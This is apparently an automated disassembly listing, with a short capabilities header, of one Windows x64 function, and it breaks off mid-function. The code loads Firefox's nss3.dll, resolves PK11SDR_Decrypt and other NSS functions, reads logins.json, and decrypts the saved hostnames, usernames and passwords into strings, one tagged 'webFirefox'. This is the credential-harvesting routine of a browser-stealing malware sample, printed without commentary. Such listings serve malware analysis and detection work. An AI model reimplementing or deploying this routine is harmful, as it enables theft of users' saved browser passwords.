Function at 0x180092f50
Capabilities:
Link many functions at runtime
Set current directory

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x3b8]
sub rsp, 0x4b8
mov rax, qword [0x18012a010]
xor rax, rsp
mov qword [rbp + 0x3a8], rax
mov r14, rcx
mov qword [rsp + 0x38], rcx
xor r13d, r13d
mov qword [rsp + 0x30], rdx
lea rcx, [rbp + 0x1c0]
mov qword [rbp + 0x2b0], r13
mov byte [rbp + 0x2a0], r13b
mov r15, r9
mov r12, r8
mov qword [rbp + 0x2b8], 0xf
mov rsi, rdx
call fcn.1800c2490
mov rbx, rax
mov rcx, rax
cmp qword [rax + 0x18], 0x10
jb 0x180092fcb
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
lea rcx, str.nss3.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rdx, qword [rbx + 0x18]
mov rdi, rax
cmp rdx, 0x10
jb 0x18009301b
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x180093016
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1800946d0
mov rcx, r8
call fcn.1800cf9b0
mov qword [rbx + 0x10], r13
mov qword [rbx + 0x18], 0xf
mov byte [rbx], r13b
test rdi, rdi
jne 0x180093172
xor r8d, r8d
mov qword [r14 + 0x10], r13
lea rdx, [0x18010e0f0]
mov qword [r14 + 0x18], 0xf
mov rcx, r14
mov byte [r14], r13b
call fcn.1800c2b50
mov rdx, qword [rbp + 0x2b8]
cmp rdx, 0x10
jb 0x180093095
mov rcx, qword [rbp + 0x2a0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180093090
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800946ca
call fcn.1800cf9b0
mov rdx, qword [rsi + 0x18]
cmp rdx, 0x10
jb 0x1800930cf
mov rcx, qword [rsi]
inc rdx
cmp rdx, 0x1000
jb 0x1800930ca
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1800946ca
mov rcx, r8
call fcn.1800cf9b0
mov qword [rsi + 0x10], r13
mov qword [rsi + 0x18], 0xf
mov byte [rsi], r13b
mov rdx, qword [r12 + 0x18]
cmp rdx, 0x10
jb 0x18009311a
mov rcx, qword [r12]
inc rdx
cmp rdx, 0x1000
jb 0x180093115
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1800946ca
mov rcx, r8
call fcn.1800cf9b0
mov qword [r12 + 0x10], r13
mov qword [r12 + 0x18], 0xf
mov byte [r12], r13b
mov rdx, qword [r15 + 0x18]
cmp rdx, 0x10
jb 0x180093166
mov rcx, qword [r15]
inc rdx
cmp rdx, 0x1000
jb 0x180093161
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
add rcx, 0xfffffffffffffff8
cmp rcx, 0x1f
ja 0x1800946ca
mov rcx, r8
call fcn.1800cf9b0
mov qword [r15 + 0x10], r13
mov byte [r15], r13b
jmp 0x180094696
lea rdx, str.NSS_Init
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.PL_Base64Decode
mov rcx, rdi
mov qword [0x18012fb10], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.PK11SDR_Decrypt
mov rcx, rdi
mov qword [0x18012fb50], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.PK11_Authenticate
mov rcx, rdi
mov qword [0x18012fb38], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.PK11_GetInternalKeySlot
mov rcx, rdi
mov qword [0x18012fb08], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.PK11_FreeSlot
mov rcx, rdi
mov qword [0x18012fa90], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NSS_Shutdown
mov rcx, rdi
mov qword [0x18012fb28], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r8, qword [r12 + 0x10]
xor edi, edi
mov qword [0x18012fad8], rax
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x58], 0xf
lea rdx, [r8 + 0xc]
mov byte [rsp + 0x40], dil
cmp rdx, 0xf
jbe 0x18009324b
lea rcx, [rsp + 0x40]
call fcn.1800c8f90
mov r8, qword [r12 + 0x10]
mov qword [rsp + 0x50], rdi
cmp qword [r12 + 0x18], 0x10
mov rdx, r12
jb 0x18009325a
mov rdx, qword [r12]
lea rcx, [rsp + 0x40]
call fcn.1800c22c0
mov r8d, 0xc
lea rdx, str.logins.json
lea rcx, [rsp + 0x40]
call fcn.1800c22c0
cmp qword [rsp + 0x58], 0x10
lea rcx, [rsp + 0x40]
lea rdx, [0x180118ce0]
cmovae rcx, qword [rsp + 0x40]
call fcn.1800db8c8
test rax, rax
je 0x1800932a9
mov rcx, rax
call fcn.1800db958
mov bl, 1
jmp 0x1800932ab
xor bl, bl
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x1800932e8
mov rcx, qword [rsp + 0x40]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800932e3
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800946d6
call fcn.1800cf9b0
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x58], 0xf
mov byte [rsp + 0x40], dil
test bl, bl
je 0x180094590
cmp qword [r12 + 0x18], 0x10
mov rcx, r12
jb 0x180093312
mov rcx, qword [r12]
call qword [0x18012fb10]
mov rdx, r12
lea rcx, [rbp + 0x1e0]
call fcn.1800c2490
mov rcx, rax
call fcn.1800922f0
mov r13, 0xffffffffffffffff
mov qword [rbp + 0x230], rdi
mov r8, r13
mov qword [rbp + 0x238], 0xf
mov byte [rbp + 0x220], dil
inc r8
cmp byte [rax + r8], dil
jne 0x180093352
mov rdx, rax
lea rcx, [rbp + 0x220]
call fcn.1800c2b50
cmp qword [rbp + 0x230], rdi
jbe 0x18009454f
xorps xmm0, xmm0
lea rdx, str._hostname_:_______
xor eax, eax
lea rcx, [rbp + 0x380]
movups xmmword [rbp + 0x380], xmm0
mov qword [rbp + 0x3a0], rax
movups xmmword [rbp + 0x390], xmm0
call fcn.1800c1610
xorps xmm0, xmm0
lea rdx, str._encryptedUsername_:_______
xor eax, eax
lea rcx, [rbp + 0x358]
movups xmmword [rbp + 0x358], xmm0
mov qword [rbp + 0x378], rax
movups xmmword [rbp + 0x368], xmm0
call fcn.1800c1610
xorps xmm0, xmm0
lea rdx, str._encryptedPassword_:_______
xor eax, eax
lea rcx, [rbp + 0x330]
movups xmmword [rbp + 0x330], xmm0
mov qword [rbp + 0x350], rax
movups xmmword [rbp + 0x340], xmm0
call fcn.1800c1610
mov rdx, qword [rbp + 0x238]
lea rbx, [rbp + 0x220]
mov rax, qword [rbp + 0x220]
xorps xmm0, xmm0
mov r14d, 0xf
mov qword [rbp + 0x250], rdi
cmp rdx, 0x10
mov byte [rbp + 0x240], dil
mov qword [rbp + 0x290], rdi
mov esi, r14d
mov byte [rbp + 0x280], dil
cmovae rbx, rax
mov qword [rbp + 0x270], rdi
mov edi, r14d
movups xmmword [rbp + 0x2c0], xmm0
mov qword [rbp + 0x258], r14
movups xmmword [rbp + 0x2d0], xmm0
mov qword [rbp + 0x298], r14
movups xmmword [rbp + 0x2e0], xmm0
mov qword [rbp + 0x278], r14
movups xmmword [rbp + 0x2f0], xmm0
mov byte [rbp + 0x260], 0
movups xmmword [rbp + 0x300], xmm0
movups xmmword [rbp + 0x310], xmm0
movups xmmword [rbp + 0x320], xmm0
nop word [rax + rax]
cmp rdx, 0x10
mov qword [rsp + 0x28], rbx
mov rdx, qword [rbp + 0x230]
lea rcx, [rbp + 0x220]
cmovae rcx, rax
lea r9, [rbp + 0x380]
add rdx, rcx
lea r8, [rbp + 0x2c0]
mov rcx, rbx
call fcn.1800c8400
test al, al
je 0x1800942ca
mov rcx, qword [rbp + 0x2d8]
movabs rdi, 0x2aaaaaaaaaaaaaab
mov r8, qword [rbp + 0x2d0]
mov rax, rdi
sub rcx, r8
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rbp + 0x318]
cmp rdx, 1
jbe 0x18009351c
lea rax, [r8 + 0x18]
cmp byte [rax + 0x10], 0
je 0x18009352b
movups xmm0, xmmword [rax]
movups xmmword [rbp], xmm0
jmp 0x180093533
xorps xmm0, xmm0
movdqu xmmword [rbp], xmm0
mov rdx, qword [rbp]
xor r14d, r14d
mov r8, qword [rbp + 8]
mov eax, 0xf
mov qword [rbp - 0x10], r14
mov qword [rbp - 8], rax
mov byte [rbp - 0x20], r14b
cmp rdx, r8
je 0x180093564
sub r8, rdx
lea rcx, [rbp - 0x20]
call fcn.1800c2b50
mov rax, qword [rbp - 8]
cmp rax, 0x10
lea rcx, [rbp - 0x20]
cmovae rcx, qword [rbp - 0x20]
call fcn.180092e30
mov r8, r13
nop dword [rax]
inc r8
cmp byte [rax + r8], r14b
jne 0x180093580
mov rdx, rax
lea rcx, [rbp + 0x240]
call fcn.1800c2b50
mov rdx, qword [rbp - 8]
cmp rdx, 0x10
jb 0x1800935d3
mov rcx, qword [rbp - 0x20]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800935ce
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800946dc
call fcn.1800cf9b0
cmp qword [rbp + 0x238], 0x10
lea rcx, [rbp + 0x220]
mov rdx, qword [rbp + 0x230]
lea r9, [rbp + 0x358]
cmovae rcx, qword [rbp + 0x220]
lea r8, [rbp + 0x2c0]
add rdx, rcx
mov qword [rsp + 0x28], rbx
mov rcx, rbx
call fcn.1800c8400
mov rcx, qword [rbp + 0x2d8]
mov rax, rdi
mov r8, qword [rbp + 0x2d0]
sub rcx, r8
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rbp + 0x318]
cmp rdx, 1
jbe 0x180093645
lea rax, [r8 + 0x18]
cmp byte [rax + 0x10], r14b
je 0x180093654
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x10], xmm0
jmp 0x18009365c
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x10], xmm0
mov rdx, qword [rbp + 0x10]
mov r8, qword [rbp + 0x18]
mov qword [rbp + 0xf0], r14
mov qword [rbp + 0xf8], 0xf
mov byte [rbp + 0xe0], r14b
cmp rdx, r8
je 0x180093691
sub r8, rdx
lea rcx, [rbp + 0xe0]
call fcn.1800c2b50
lea rcx, [rbp + 0xe0]
call fcn.180092c60
mov rcx, rax
call fcn.180092e30
mov r8, r13
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], r14b
jne 0x1800936b0
mov rdx, rax
lea rcx, [rbp + 0x280]
call fcn.1800c2b50
cmp qword [rbp + 0x238], 0x10
lea rcx, [rbp + 0x220]
mov rdx, qword [rbp + 0x230]
lea r9, [rbp + 0x330]
cmovae rcx, qword [rbp + 0x220]
lea r8, [rbp + 0x2c0]
add rdx, rcx
mov qword [rsp + 0x28], rbx
mov rcx, rbx
call fcn.1800c8400
mov rcx, qword [rbp + 0x2d8]
mov rax, rdi
mov r8, qword [rbp + 0x2d0]
sub rcx, r8
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rbp + 0x318]
cmp rdx, 1
jbe 0x18009373a
lea rax, [r8 + 0x18]
cmp byte [rax + 0x10], r14b
je 0x180093749
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x20], xmm0
jmp 0x180093751
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x20], xmm0
mov rdx, qword [rbp + 0x20]
mov r8, qword [rbp + 0x28]
mov qword [rbp + 0x110], r14
mov qword [rbp + 0x118], 0xf
mov byte [rbp + 0x100], r14b
cmp rdx, r8
je 0x180093786
sub r8, rdx
lea rcx, [rbp + 0x100]
call fcn.1800c2b50
lea rcx, [rbp + 0x100]
call fcn.180092c60
mov rcx, rax
call fcn.180092e30
mov r8, r13
nop dword [rax]
inc r8
cmp byte [rax + r8], r14b
jne 0x1800937a0
mov rdx, rax
lea rcx, [rbp + 0x260]
call fcn.1800c2b50
lea rdx, [rbp + 0x280]
lea rcx, [rbp + 0x200]
call fcn.1800c2490
mov rdx, rax
lea rcx, [rbp + 0x1a0]
call fcn.18008acf0
mov rcx, rax
cmp qword [rax + 0x18], 0x10
jb 0x1800937e7
mov rcx, qword [rax]
cmp qword [rax + 0x10], 0x20
jne 0x180093809
mov r8d, 0x20
lea rdx, str.397a1dad0e0212119274178e7e4cc080
call fcn.1800d4180
test eax, eax
jne 0x180093809
mov dil, 1
jmp 0x18009380c
xor dil, dil
mov rdx, qword [rbp + 0x1b8]
cmp rdx, 0x10
jb 0x18009384d
mov rcx, qword [rbp + 0x1a0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180093848
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800946e2
call fcn.1800cf9b0
test dil, dil
je 0x180093884
mov r8d, 1
lea rdx, [0x180112338]
lea rcx, [rbp + 0x280]
call fcn.1800c2b50
mov r8d, 1
lea rdx, [0x180112338]
lea rcx, [rbp + 0x260]
call fcn.1800c2b50
mov r8d, 9
mov qword [rbp + 0x50], r14
cmp qword [rbp + 0x250], r8
lea rdx, [rbp + 0x240]
lea rcx, [rbp + 0x40]
mov qword [rbp + 0x58], 0xf
cmovb r8, qword [rbp + 0x250]
cmp qword [rbp + 0x258], 0x10
mov byte [rbp + 0x40], r14b
cmovae rdx, qword [rbp + 0x240]
call fcn.1800c2b50
mov rdx, qword [rbp + 0x58]
lea rax, [rbp + 0x40]
mov rcx, qword [rbp + 0x40]
cmp rdx, 0x10
cmovae rax, rcx
cmp qword [rbp + 0x50], 9
jne 0x1800938fe
movabs r8, 0x2f3a656d6f726863
cmp qword [rax], r8
jne 0x1800938fe
cmp byte [rax + 8], 0x2f
jne 0x1800938fe
xor dil, dil
jmp 0x180093901
mov dil, 1
cmp rdx, 0x10
jb 0x180093934
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009392f
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180094700
call fcn.1800cf9b0
test dil, dil
je 0x180094231
mov rax, qword [r15 + 0x18]
mov rcx, r15
cmp rax, 0x10
jb 0x18009394d
mov rcx, qword [r15]
cmp qword [r15 + 0x10], 1
jne 0x180093de4
cmp byte [rcx], 0x30
jne 0x180093de4
mov rdi, qword [rbp + 0x250]
mov rcx, rax
mov r14, qword [rbp + 0x290]
mov rsi, qword [rbp + 0x270]
test rdi, rdi
je 0x180093dfc
test r14, r14
je 0x180093dfc
test rsi, rsi
je 0x180093dfc
lea rdx, [rdi + 1]
mov qword [rbp - 0x50], 0
mov qword [rbp - 0x48], 0xf
mov byte [rbp - 0x60], 0
cmp rdx, 0x10
jb 0x1800939c3
lea rcx, [rbp - 0x60]
call fcn.1800c8f90
mov qword [rbp - 0x50], 0
mov r8d, 1
lea rdx, [0x180118d40]
lea rcx, [rbp - 0x60]
call fcn.1800c22c0
cmp qword [rbp + 0x258], 0x10
lea rdx, [rbp + 0x240]
mov r8, rdi
lea rcx, [rbp - 0x60]
cmovae rdx, qword [rbp + 0x240]
call fcn.1800c22c0
mov r8d, 1
lea rdx, [0x180118d3c]
lea rcx, [rbp - 0x60]
call fcn.1800c22c0
xor edi, edi
lea rdx, [rbp + 0x120]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
mov qword [rax + 0x10], rdi
movq rcx, xmm0
mov qword [rax + 0x18], 0xf
movups xmmword [rbp + 0x120], xmm0
mov byte [rax], dil
movdqa xmm0, xmm1
movq r8, xmm1
psrldq xmm0, 8
movq rax, xmm0
cmp rax, 0x10
movups xmmword [rbp + 0x130], xmm1
cmovae rdx, rcx
lea rcx, [rbp + 0x2a0]
call fcn.1800c22c0
mov rdx, qword [rbp + 0x138]
cmp rdx, 0x10
jb 0x180093aac
mov rcx, qword [rbp + 0x120]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180093aa7
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800946e8
call fcn.1800cf9b0
mov rdx, qword [rbp - 0x48]
cmp rdx, 0x10
jb 0x180093ae7
mov rcx, qword [rbp - 0x60]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180093ae2
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800946e8
call fcn.1800cf9b0
lea rdx, [r14 + 1]
mov qword [rbp - 0x30], rdi
mov qword [rbp - 0x28], 0xf
mov byte [rbp - 0x40], dil
cmp rdx, 0x10
jb 0x180093b0e
lea rcx, [rbp - 0x40]
call fcn.1800c8f90
mov qword [rbp - 0x30], rdi
mov r8d, 1
lea rdx, [0x180118d40]
lea rcx, [rbp - 0x40]
call fcn.1800c22c0
cmp qword [rbp + 0x298], 0x10
lea rdx, [rbp + 0x280]
mov r8, r14
lea rcx, [rbp - 0x40]
cmovae rdx, qword [rbp + 0x280]
call fcn.1800c22c0
mov r8d, 1
lea rdx, [0x180118d3c]
lea rcx, [rbp - 0x40]
call fcn.1800c22c0
lea rdx, [rbp + 0x140]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
mov qword [rax + 0x10], rdi
movq rcx, xmm0
mov qword [rax + 0x18], 0xf
movups xmmword [rbp + 0x140], xmm0
mov byte [rax], dil
movdqa xmm0, xmm1
movq r8, xmm1
psrldq xmm0, 8
movq rax, xmm0
cmp rax, 0x10
movups xmmword [rbp + 0x150], xmm1
cmovae rdx, rcx
lea rcx, [rbp + 0x2a0]
call fcn.1800c22c0
mov rdx, qword [rbp + 0x158]
cmp rdx, 0x10
jb 0x180093bf5
mov rcx, qword [rbp + 0x140]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180093bf0
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800946ee
call fcn.1800cf9b0
mov rdx, qword [rbp - 0x28]
cmp rdx, 0x10
jb 0x180093c30
mov rcx, qword [rbp - 0x40]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180093c2b
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800946ee
call fcn.1800cf9b0
lea rdx, [rsi + 1]
mov qword [rsp + 0x70], rdi
mov qword [rsp + 0x78], 0xf
mov byte [rsp + 0x60], dil
cmp rdx, 0x10
jb 0x180093c5c
lea rcx, [rsp + 0x60]
call fcn.1800c8f90
mov qword [rsp + 0x70], rdi
mov r8d, 1
lea rdx, [0x180118d40]
lea rcx, [rsp + 0x60]
call fcn.1800c22c0
cmp qword [rbp + 0x278], 0x10
lea rdx, [rbp + 0x260]
mov r8, rsi
lea rcx, [rsp + 0x60]
cmovae rdx, qword [rbp + 0x260]
call fcn.1800c22c0
mov r8d, 1
lea rdx, [0x180118d3c]
lea rcx, [rsp + 0x60]
call fcn.1800c22c0
lea rdx, [rbp + 0x160]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
mov qword [rax + 0x10], rdi
movq rcx, xmm0
mov qword [rax + 0x18], 0xf
movups xmmword [rbp + 0x160], xmm0
mov byte [rax], dil
movdqa xmm0, xmm1
movq r8, xmm1
psrldq xmm0, 8
movq rax, xmm0
cmp rax, 0x10
movups xmmword [rbp + 0x170], xmm1
cmovae rdx, rcx
lea rcx, [rbp + 0x2a0]
call fcn.1800c22c0
mov rdx, qword [rbp + 0x178]
cmp rdx, 0x10
jb 0x180093d46
mov rcx, qword [rbp + 0x160]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180093d41
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800946f4
call fcn.1800cf9b0
mov rdx, qword [rsp + 0x78]
cmp rdx, 0x10
jb 0x180093d83
mov rcx, qword [rsp + 0x60]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180093d7e
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800946f4
call fcn.1800cf9b0
mov r8d, 1
lea rdx, [0x18010f10c]
lea rcx, [rbp + 0x2a0]
call fcn.1800c22c0
xor r8d, r8d
lea rdx, [0x18010e0f0]
lea rcx, [rbp + 0x240]
call fcn.1800c2b50
xor r8d, r8d
lea rdx, [0x18010e0f0]
lea rcx, [rbp + 0x280]
call fcn.1800c2b50
xor r8d, r8d
lea rdx, [0x18010e0f0]
lea rcx, [rbp + 0x260]
call fcn.1800c2b50
mov rcx, qword [r15 + 0x18]
jmp 0x180093de7
mov rcx, rax
mov rsi, qword [rbp + 0x270]
mov r14, qword [rbp + 0x290]
mov rdi, qword [rbp + 0x250]
mov rax, r15
cmp rcx, 0x10
jb 0x180093e08
mov rax, qword [r15]
cmp qword [r15 + 0x10], 1
jne 0x18009422b
cmp byte [rax], 0x31
jne 0x18009422b
test rdi, rdi
je 0x18009422b
test r14, r14
je 0x18009422b
test rsi, rsi
je 0x18009422b
lea rdx, [rdi + 0xc]
mov qword [rbp - 0x70], 0
mov qword [rbp - 0x68], 0xf
mov byte [rbp - 0x80], 0
cmp rdx, 0x10
jb 0x180093e66
lea rcx, [rbp - 0x80]
call fcn.1800c8f90
mov qword [rbp - 0x70], 0
mov r8d, 0xc
lea rdx, str.webFirefox
lea rcx, [rbp - 0x80]
call fcn.1800c22c0
cmp qword [rbp + 0x258], 0x10
lea rdx, [rbp + 0x240]
mov r8, rdi
lea rcx, [rbp - 0x80]
cmovae rdx, qword [rbp + 0x240]
call fcn.1800c22c0
mov r8d, 1
lea rdx, [0x180118d48]
lea rcx, [rbp - 0x80]
call fcn.1800c22c0
cmp qword [rbp + 0x298], 0x10
lea rdx, [rbp + 0x280]
mov r8, r14
lea rcx, [rbp + 0xc0]
cmovae rdx, qword [rbp + 0x280]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xc0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xd0], xmm1
mov qword [rax + 0x10], 0
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
call fcn.1800c22c0
xor r14d, r14d
lea rdx, [0x180118d48]
lea rcx, [rbp + 0xa0]
movups xmm0, xmmword [rax]
lea r8d, [r14 + 1]
movups xmmword [rbp + 0xa0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xb0], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], r14b
call fcn.1800c22c0
cmp qword [rbp + 0x278], 0x10
lea rdx, [rbp + 0x260]
mov r8, rsi
lea rcx, [rbp + 0x80]
cmovae rdx, qword [rbp + 0x260]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x80], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x90], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], r14b
call fcn.1800c22c0
lea r8d, [r14 + 3]
lea rdx, [0x180118d44]
lea rcx, [rbp + 0x60]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x70], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], r14b
call fcn.1800c22c0
lea rdx, [rbp + 0x180]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
mov qword [rax + 0x10], r14
movq rcx, xmm0
mov qword [rax + 0x18], 0xf
movups xmmword [rbp + 0x180], xmm0
mov byte [rax], r14b
movdqa xmm0, xmm1
movq r8, xmm1
psrldq xmm0, 8
movq rax, xmm0
cmp rax, 0x10
movups xmmword [rbp + 0x190], xmm1
cmovae rdx, rcx
lea rcx, [rbp + 0x2a0]
call fcn.1800c22c0
mov rdx, qword [rbp + 0x198]
cmp rdx, 0x10
jb 0x180094055
mov rcx, qword [rbp + 0x180]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180094050
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800946fa
call fcn.1800cf9b0
mov rdx, qword [rbp + 0x78]
cmp rdx, 0x10
jb 0x180094090
mov rcx, qword [rbp + 0x60]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009408b
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800946fa
call fcn.1800cf9b0
mov rdx, qword [rbp + 0x98]
mov qword [rbp + 0x70], r14
mov qword [rbp + 0x78], 0xf
mov byte [rbp + 0x60], r14b
cmp rdx, 0x10
jb 0x1800940e1
mov rcx, qword [rbp + 0x80]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800940dc
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800946fa
call fcn.1800cf9b0
mov rdx, qword [rbp + 0xb8]
mov qword [rbp + 0x90], r14
mov qword [rbp + 0x98], 0xf
mov byte [rbp + 0x80], r14b
cmp rdx, 0x10
jb 0x18009413b
mov rcx, qword [rbp + 0xa0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180094136
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800946fa
call fcn.1800cf9b0
mov rdx, qword [rbp + 0xd8]
mov qword [rbp + 0xb0], r14
mov qword [rbp + 0xb8], 0xf
mov byte [rbp + 0xa0], r14b
cmp rdx, 0x10
jb 0x180094195
mov rcx, qword [rbp + 0xc0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180094190
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800946fa
call fcn.1800cf9b0
mov rdx, qword [rbp - 0x68]
mov qword [rbp + 0xd0], r14
mov qword [rbp + 0xd8], 0xf
mov byte [rbp + 0xc0], r14b
cmp rdx, 0x10
jb 0x1800941e9
mov rcx, qword [rbp - 0x80]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800941e4
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800946fa
call fcn.1800cf9b0
xor r8d, r8d
lea rdx, [0x18010e0f0]
lea rcx, [rbp + 0x240]
call fcn.1800c2b50
xor r8d, r8d
lea rdx, [0x18010e0f0]
lea rcx, [rbp + 0x280]
call fcn.1800c2b50
xor r8d, r8d
lea rdx, [0x18010e0f0]
lea rcx, [rbp + 0x260]
call fcn.1800c2b50
inc dword [0x18012fb58]
mov r8, qword [rbp + 0x2d0]
movabs rax, 0x2aaaaaaaaaaaaaab
mov rcx, qword [rbp + 0x2d8]
sub rcx, r8
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rbp + 0x318]
cmovne rax, r8
mov rcx, qword [rax]
lea rax, [rbp + 0x318]
sub rcx, qword [rbp + 0x2c0]
test rdx, rdx
cmovne rax, r8
cmp byte [rax + 0x10], 0
je 0x18009428f
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x30], xmm0
jmp 0x180094297
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x30], xmm0
sub rcx, qword [rbp + 0x30]
add rcx, qword [rbp + 0x38]
mov rdx, qword [rbp + 0x238]
add rbx, rcx
mov rax, qword [rbp + 0x220]
mov r14, qword [rbp + 0x258]
mov rsi, qword [rbp + 0x298]
mov rdi, qword [rbp + 0x278]
jmp 0x1800934a0
call qword [0x18012fad8]
cmp rdi, 0x10
jb 0x18009430b
mov rcx, qword [rbp + 0x260]
lea rdx, [rdi + 1]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180094306
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180094700
call fcn.1800cf9b0
cmp rsi, 0x10
jb 0x180094346
mov rcx, qword [rbp + 0x280]
lea rdx, [rsi + 1]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180094341
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180094700
call fcn.1800cf9b0
cmp r14, 0x10
jb 0x180094381
mov rcx, qword [rbp + 0x240]
lea rdx, [r14 + 1]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009437c
